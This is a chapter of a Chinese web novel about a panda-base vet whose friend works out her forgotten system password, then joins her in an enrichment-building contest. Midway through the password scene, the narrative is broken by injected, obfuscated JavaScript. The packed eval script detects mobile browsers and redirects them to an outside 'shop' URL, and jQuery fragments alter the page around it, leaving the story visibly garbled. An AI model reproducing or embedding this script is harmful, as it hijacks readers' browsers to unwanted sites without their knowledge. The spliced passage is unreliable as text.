周五,简宁收到了基地的通报批评,一同被批评的还有门卫张大爷,原因是没有完成基地的思想政治教育打卡。
这场思想政治教育活动已经持续了两周有余,从主任胡丰亮到门卫张大爷,一个都不能落下。
主要操作也就是用手机收看视频,中途完成答题,但是每期的课程都有时间限制,逾期不予提供服务。后台的观看结果,直接与本年度先进单位的评选挂钩。
“我也不是故意的,”简宁对江声说,“就是忘了密码,一直没能找回来。”
基地的系统自简宁入职以来就没有更新过,在这里信息化发展的社会已经算得上古董级文物。
可能当初系统的设计者也没有预料到它的在役时间之长,找回密码的功能设计得犹如摆设。
简宁去找过信息中心的同事,发现找回的过程有些麻烦,就一直搁置。
“我帮你试试?”江声在系统退出自己的账号,问了简宁的工号。
他按照指示操作,摆弄了好一会,不出简宁意外地回到原点,一无所得。
“就是这样麻烦又无用的一个功能。”简宁低声吐槽。
江声沉默一会,又问:“有没有试过一些常用的?”
“试过不少,”简宁之前也并不是没有作为,“基本上那段时期用过的密码都用过了,但就是组合不起来。”
简宁的密码设置很有规律,并且曾经很骄傲地把她的独门编码方式教给过江声。
江声先后试了几个。简宁就看到自己的身份证号、电话号码、念书时的学号、生日都在屏幕上蹦了一遍。
简宁对数字不太敏感,一些重要的数字都要备份在本子上,但是太早期的都没有留下。她不知道江声是记忆力好还是什么,有些她自己也忘记的信息,江声都记得。
“我之后再看看。”江声试了一些都不得其法,只得先搁置。
“谢谢你,”简宁说,“我不知道还有谁会知道。”她觉得这场景有点好笑,把自己几年前设的密码忘光光了,还要来求助江声。
江声说没关系,他会尽力想想的。
本就是希望渺茫的概率,简宁跟江声说不用太勉强,实在不行再麻烦一下系统开发人员。
江声一直没有和简宁说密码的事。简宁也就以为他没有解出来,但是又不好意思说,也舍不得催促。
但是周五一大早,她发现整个基地的打卡率变成了百分之百。
简宁去找江声,被江声的同事告知今天有丰容比赛,江声一行人都去参加活动了。
“活动场地在哪?”简宁问。
对方告诉简宁地方,又说:“活动挺大的,估计人挺多,你找他有急事吗,要不要我给你转达?”
简宁说不用,便往活动场地赶。
这个丰容比赛是基地的特色活动,每年都搞得挺像模像样。向澄早早过来,架起设备,像往年一样录点后期宣传的素材。
基地副主任林清泉站在台上,手里拎着个话筒喊:“今天,又到了咱们基地一年一度的丰容比赛。这个活动我们坚持了很多年,主要呢是激励我们的饲养员同志,工作上要有创新,要切实关爱大熊猫的身心健康。”
所谓丰容,也就是给大熊猫模拟一下野外的自然环境,既能给他们添点乐趣,又能锻炼身体,不至于在人工圈养环境下太压抑。
除了添置栖架和人工喷雾等硬性设备外,饲养员们尽可以大胆发挥想象力,手工制作一些益智小产品。
简单的话题引入之后,林清泉开始介绍赛制:“比赛分为两轮,第一轮是个人赛,由评委分别打分,淘汰半数选手。”
评委席上,卢姨、郭叔还有一些同期的老将对着台下挥手致意。
“晋级成功的选手进入双人赛,两两合作结成一对。如果有落单的,也可以在场外随机指定一名同伴。”
简宁强忍着拥挤,在人堆里找江声。她围着小广场绕了两圈,都没有找到,正好看见向澄,忙走过去问。
“刚才我的镜头还扫过江声的,”向澄说,“你不是不关心这种集体活动的么。咱们这活动都办了一二三四五六届了,头一次来吧?”
简宁很少有在人群中找人的经历,一边四处张望一边点头。
“还是有些潜规则的,”向澄说,“这是友谊赛,按理说去年得奖的不会参加了,不过也有铆足了劲年年往上冲的,毕竟奖品很丰富。”
简宁还是第一次听说奖品的事,问向澄是什么。
向澄说:“不好说,每年都吊足了胃口,不过一般是些老少皆宜的东西。”
第一轮比赛结束,中央的参赛区减了一半人,简宁的视野就很宽阔了。
江声还在圈内,他坐在地上,正垂着头收拾没用完的材料。竹块按照长短放好,麻袋布缠好,然后上交。。
简宁就很想走上前去,摸摸他的头,说点夸奖的话,想让他抬起头来,也这么专注地看着自己。
林清泉公布了第一轮结果,就到选队友环节。
有提前商量好的,径直就朝自己的同伴走去,但是江声还没有找到队友。
过了会,江声看到自己身旁的简宁。
江声希望简宁再考虑一下,毕竟医生的手比较金贵。简宁没说什么,像江声一样坐在地上。
“做点什么好呢?”简宁问。
江声说:“取食器吧。”
江声去领了材料,放到中间。
简宁小时候的手工作业都是不合格的,但她很有上进心,一直问江声这个怎么拼怎么弄,但江声总是一副“放着我来”的态度。
他还把材料一点点往自己身后藏,让简宁两手空空。
“江声。”简宁发现自己全程没有参与之后问,“你是不是不知道,团队合作是什么概念啊。”
江声无措了一下,停下手中所有的动作,看了下简宁。
他用一种简宁期待了好久的专注神情同简宁对视了许久,真诚地跟简宁说“对不起”,又将自己未完工的半成品交付到简宁手中,握着简宁的手,教她拼接模具。
简宁能感觉到他指腹的温度,能感受到江声覆上自己手背时,小心翼翼的试探。
江声同简宁一起完成作品,看她专注地拼属于自己的比赛成果,想起自己解开简宁的密码那天,是凌晨三点。
加载的小圆圈一直跳啊跳,终于从一片空白中显现出画面。
江声最先反应是一愣,也没怎么感受到成功的喜悦,而是回想自己方才输入的密码是什么。
他试了一晚上,脑子很晕,什么有用的没用的都拼在一块,然后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17169295|196817||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
依次排列组合。
江声的顺序很科学,但他运气一直很糟,试了上千次才成功。
他想给简宁发消息,说自己解出来了,让她放心。但他又觉得简宁已经很放心了,不放心的其实是他自己。
于是他只是暗灭了屏幕,在黑暗中因为简宁的一个密码感动到一塌糊涂。
“怎么了?”简宁问了几次江声接下来的步骤,江声一直在走神,便推了推江声的手臂。
江声从回忆走出来,看到简宁的手自己贴在一起,他弯下腰,吻了一下简宁的手背。
坐在简宁面前的弯下腰的江声,像一个虔诚的信徒在倾诉信仰。江声完全挡住了这个小动作,从旁观者的角度看不到他们的动作。
但他也只浅浅贴了一下,甚至没有给简宁回味的时间。
简宁就只感觉一阵柔软的触感和温热的气息从手边擦过,比风有分量,比纸要轻一些。像一小片雪花,刚一来,就融化了。
简宁感受着灼热的温度从手边蔓延,脑中心里一阵兵荒马乱。
“那个密码,”江声看着简宁道,“你想不想知道?”
简宁终于想起来,自己来找江声好像就是因为这个。但她后来就忘了,看到江声就忘了。
“是什么?”简宁问。
“结果可能有点儿意外,”江声说,“跟你以往的密码不太一样。”
简宁问是怎么个不一样法,江声就在她手心写了个英文单词——莫莉。
“密码是她的名字,”江声说,“还有我们一起命名的日期。”
简宁霎时愣住了。她的第一反应不是找回密码的欣喜,又或是一瞬间的恍然大悟,而是没有记住这个重要事件的自责。
莫莉是一只熊猫的名字,是江声和简宁一起取的名字。
因为她总会在早上出现,来到屋子旁边采食,像是在和他们说早安。可是后来就生病了。
她直挺挺地倒在常出没的兽径,被路过的江声和简宁发现,还没来得及治疗。简宁第一反应是捂住江声的眼睛,但还是晚了一步。
江声很伤心,但他没哭也没闹,就是傻了,呆了,怎么叫也没了反应。
简宁无能为力,只能紧紧抱着江声。
那时候她就在想,做点什么吧,多学点东西吧,如果能早些看出来莫莉生病就好了,那样也还有救治的空间。
简宁入职兽医院时,听了一场振奋人心的讲座,大意是要他们时刻记住,自己为什么成为兽医,为什么来到这里,而后她设了这个密码。
“我之前试的时候,就是觉得……我刚来这里,想的应该是眼前的事情。”
简宁觉得,那时刚走出校园,有着比天高比海深的畅想和追求的自己,应该不会用那么久远的、又承载着深厚意义的组合。可是当时是个例外。
她来这里,是为了救活每一只莫莉,就像她想守护一直在失去的江声。
“没有忘记那些。”简宁看着江声,像在乞求原谅,说她从没有忘记过和江声相处的每一个值得纪念的瞬间。
“我不是怕你忘记,”江声说,“是怕你一直在意。来这里,也不是想让你觉得应该为我做什么。”
他抬起手,想给简宁擦眼泪,意识到自己方才摸过材料又放下:“是想也为你做点什么。”